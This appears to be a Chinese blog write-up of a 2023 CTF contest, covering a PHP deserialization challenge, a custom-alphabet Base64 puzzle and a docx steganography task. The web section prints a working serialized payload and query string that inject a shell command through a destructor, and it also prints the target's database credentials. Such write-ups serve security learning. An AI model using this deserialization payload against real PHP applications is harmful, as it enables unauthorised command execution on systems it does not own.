当前位置:首页 > 未分类 > 正文内容

2023 年新疆天山固网杯 Writeup

admin2年前 (2023-11-22)未分类82

一、Web 题型

web1:PHP 反序列化(数组整型溢出绕过)

1. 题目代码审计

目标代码包含Flag类,核心逻辑在__destruct()析构函数中,存在反序列化漏洞,但需绕过数组判断限制:

联想截图_20250822052931.png

2. 漏洞关键点:数组整型溢出绕过

  • PHP 数组特性:当数组下标为超大整数(超过PHP_INT_MAX)时,会触发整型溢出,导致数组追加元素$this->arr[] = 1的返回值变为false,从而进入else分支执行system($this->b)。

  • PHP_INT_MAX**值**:

    • 32 位平台:2147483647

    • 64 位平台:9223372036854775807(本题使用此值,覆盖范围更广)

3. Payload 构造脚本

编写 PHP 脚本生成序列化字符串,核心是设置$a为 64 位平台的PHP_INT_MAX,$b为要执行的系统命令(如ls):

联想截图_20250822052949.png

4. 执行与结果

  1. 运行构造脚本,得到序列化 Payload(示例):

O:4:"Flag":4:{s:1:"a";i:9223372036854775807;s:1:"b";s:2:"ls";s:1:"c";N;s:3:"arr";a:0:{}}
  1. 通过GET参数传入 Payload:?was=O:4:"Flag":4:{s:1:"a";i:9223372036854775807;s:1:"b";s:2:"ls";s:1:"c";N;s:3:"arr";a:0:{}}

  1. 执行后发现目录中存在sql_connect/sql-connect.php文件,访问该文件:

    • 文件内容包含数据库连接信息与flag表查询逻辑:

<?php
$dbuser = 'root';
$dbpass = 'root';
$dbname = "dascctf";
$host = '127.0.0.1';
$con = mysqli_connect($host, $dbuser, $dbpass, $dbname) or die('Could not connect to database.');
$query = "SELECT * FROM flag";  // 查询flag表
$result = mysqli_query($con, $query);
if ($result) {
   while ($row = mysqli_fetch_assoc($result)) {
       foreach ($row as $key => $value) {
           echo "$key: $value<br>";  // 输出flag
       }
   }
} else {
   echo "Query failed: " . mysqli_error($con);
}
mysqli_close($con);
?>
  1. 访问sql_connect/sql-connect.php,直接获取flag表中的 flag 内容。

二、Crypto 题型

题目:这就只是 b@se 而已(Base64 变种破解)

1. 题目分析

  • 给出密文:jHo0gpj5qwNVs5L3/aPVq9ZpEwCX/NZIz7jVs5Xr6pZa/5oIVg

  • 给出 Base64 变种字符集片段:YOJyHo57WlUFzCfDgjn0Sb9ETsqVLX42kNaIhr+dtPm1u3AMKpwRGvcxQZ8B(含 4 个缺失字符

2. 关键步骤:确定缺失字符

Base64 标准字符集为ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/,通过 Python 脚本对比片段,找出缺失的 4 个字符:

import string

# 题目给出的Base64变种字符集片段(含****)
s = 'YOJyHo57WlUFzCfDgjn0Sb9ET****sqVLX42kNaIhr+dtPm1u3AMKpwRGvcxQZ8B'
# Base64标准字符集
standard_base64 = string.ascii_letters + string.digits + '+/'

# 找出缺失的字符
missing_chars = [c for c in standard_base64 if c not in s]
print("缺失的4个字符:", missing_chars)  # 输出:['e', 'i', '6', '/']

执行结果截图:

3. 破解 Base64 变种(排列组合遍历)

缺失的 4 个字符需按不同顺序填充到位置,共4! = 24种排列组合,通过脚本遍历所有可能,解密密文:

import string
import binascii
import itertools

# 题目数据
cipher = 'jHo0gpj5qwNVs5L3/aPVq9ZpEwCX/NZIz7jVs5Xr6pZa/5oIVg'  # 密文
base64_fragment = 'YOJyHo57WlUFzCfDgjn0Sb9ET{}sqVLX42kNaIhr+dtPm1u3AMKpwRGvcxQZ8B'  # 字符集模板
missing_chars = ['e', 'i', '6', '/']  # 缺失字符

# 遍历所有4个缺失字符的排列组合
for perm in itertools.permutations(missing_chars, 4):
   # 构造完整的Base64变种字符集
   current_base64 = base64_fragment.format(''.join(perm))
   # 将密文字符转换为6位二进制(Base64解码核心:字符→索引→6位二进制)
   binary_str = ''
   valid = True
   for char in cipher:
       if char not in current_base64:
           valid = False
           break
       # 获取字符在变种字符集中的索引,转为6位二进制(补前导0)
       idx = current_base64.index(char)
       binary_str += bin(idx)[2:].zfill(6)
   if not valid:
       continue
   # 二进制字符串转为字节(需确保长度为8的倍数,截断多余位)
   binary_str = binary_str[:len(binary_str) - (len(binary_str) % 8)]
   try:
       # 二进制→十六进制→字符串
       hex_str = hex(int(binary_str, 2))[2:]  # 去除0x前缀
       if len(hex_str) % 2 != 0:
           hex_str = '0' + hex_str  # 确保十六进制长度为偶数
       plaintext = binascii.unhexlify(hex_str).decode('utf-8', errors='ignore')
       # 筛选含flag格式的结果(通常含{})
       if '{' in plaintext and '}' in plaintext:
           print("找到有效解密结果:")
           print("Base64变种字符集:", current_base64)
           print("明文(flag):", plaintext)
   except:
       continue

4. 解密结果

遍历后得到正确的 Base64 变种字符集,解密密文获取 flag:

三、Misc 题型

题目:网抑云(文件隐写 + 多步解码)

1. 第一步:docx 文档隐藏信息提取

  1. 初始分析:附件为 docx 文档,打开后发现部分文字颜色异常(疑似隐藏字符),全选文字并修改颜色,得到密码:come666。

  1. docx 转 zip 提取隐藏文件

    • 将 docx 文件后缀改为zip并解压,进入word/media目录(docx 中图片等媒体文件存储路径),找到可疑图片文件(红框标注):

    • 查看图片文件属性,发现内容为 Base64 编码的图片数据,解码后得到一张新图片:

2. 第二步:图片隐写(SilentEye 工具)

  1. 工具选择:图片疑似存在音频 / 文本隐写,使用SilentEye工具(支持多种隐写格式提取)。

  1. 操作步骤

    • 打开SilentEye,导入解码后的图片;

    • 选择 “Decode” 功能,输入第一步获取的密码come666;

    • 提取出隐藏的flag.txt文件:

3. 第三步:BubbleBabble 编码解码

  • flag.txt中的内容为 BubbleBabble 编码(特征:由 “-” 分隔的音节字符串);

  • 解码后得到最终 flag。


扫描二维码推送至手机访问。

版权声明:本文由克拉玛依三十年社团发布,如需转载请注明出处。

本文链接:https://www.klmyssn.com/?id=65

分享给朋友:

“2023 年新疆天山固网杯 Writeup” 的相关文章

(原创)sqlmap 注入初级教程 [sqlmap][sqlmap 指令][sqlmap 怎么用]

(原创)sqlmap 注入初级教程 [sqlmap][sqlmap 指令][sqlmap 怎么用]

一、熟悉 sqlmap 之路:核心注入场景与方法1. Sqlmap 之 Post 注入Post 注入适用于表单提交(如登录页、数据提交页)等场景,核心是通过抓取 Post 请求数据进行注入测试,以下为 4 种常用方法:方法一:基于请求文件(-r 参数)# 基础用法(请求文件与sqlmap同目录)sq...

(原创)Web 渗透实例之中国教育部青少年普法网站逻辑漏洞【网站逻辑漏洞】【网站逻辑漏洞挖掘】【网站逻辑漏洞实例】

(原创)Web 渗透实例之中国教育部青少年普法网站逻辑漏洞【网站逻辑漏洞】【网站逻辑漏洞挖掘】【网站逻辑漏洞实例】

重要声明:此漏洞于 2016 年 12 月 2 号由社团成员挖掘出来,已经第一时间提交到补天,现已修复,发出来仅供学习与讨论,请勿用于非法途径!!!一、漏洞基本信息漏洞关联网站:中国教育部青少年普法网站用户登录界面地址:https://user.qspfw.com具体漏洞页面:用户密码找回界面,地址...

(原创)市教育局 web 渗透 — 市 OA 系统 [web 渗透实例][教育局网络安全][内网安全][内网渗透][oa 系统漏洞]

(原创)市教育局 web 渗透 — 市 OA 系统 [web 渗透实例][教育局网络安全][内网安全][内网渗透][oa 系统漏洞]

一、渗透前置说明(授权与免责)1. 授权声明本次渗透是在取得教育局网络第三方厂商(即时讯立维公司)授权许可之后进行的渗透测试。漏洞报告已第一时间交给教育局及第三方厂商,并协助厂商完成修补,至文章发布时,文中漏洞已修复。本文仅选取漏洞报告部分内容公开,完整漏洞报告模板存放于社团群内部。2. 免责申明请...

利用 Wireshark 任意获取 QQ 好友 IP 实施精准定位

利用 Wireshark 任意获取 QQ 好友 IP 实施精准定位

虽然网上已经有了很多获取 IP 的 QQ 插件,但是其原理大致都是相同的,但是插件的安全性而言就不敢恭维了,下面介绍如何利用 Wireshark 获取好友 IP。一、选择本机网卡并启动 Wireshark 监听打开 Wireshark 软件,在界面中选择需要监听的本机网卡(根据网络连接方式选择,如无...

(转载)双 11 为技术宅们奉上 PentestBox 的更新升级 [PentestBox 如何更新]

(转载)双 11 为技术宅们奉上 PentestBox 的更新升级 [PentestBox 如何更新]

一、PentestBox 简介Pentest Box(渗透测试盒子)是一款 Windows 平台下预配置的便携式开源渗透测试环境,也是著名黑客 Kapustkiy 常用工具之一。它集成了大量 Linux 平台的渗透测试工具(包括 Kali Linux 常用工具),可在 Windows 系统中原生运行...

(原创)微信跳一跳辅助跳跃教程,轻轻松松拿高分!

(原创)微信跳一跳辅助跳跃教程,轻轻松松拿高分!

一、前期准备:模拟器配置1. 核心工具与系统要求模拟器:逍遥模拟器(需安装多开器)系统版本:通过多开器创建 “安卓 5.1” 系统的模拟器实例设备型号设置:在模拟器中将设备型号改为 “小米 5S”(适配辅助工具兼容性)2. 微信与游戏准备在模拟器中下载并安装微信,登录账号后打开 “跳一跳” 游戏,确...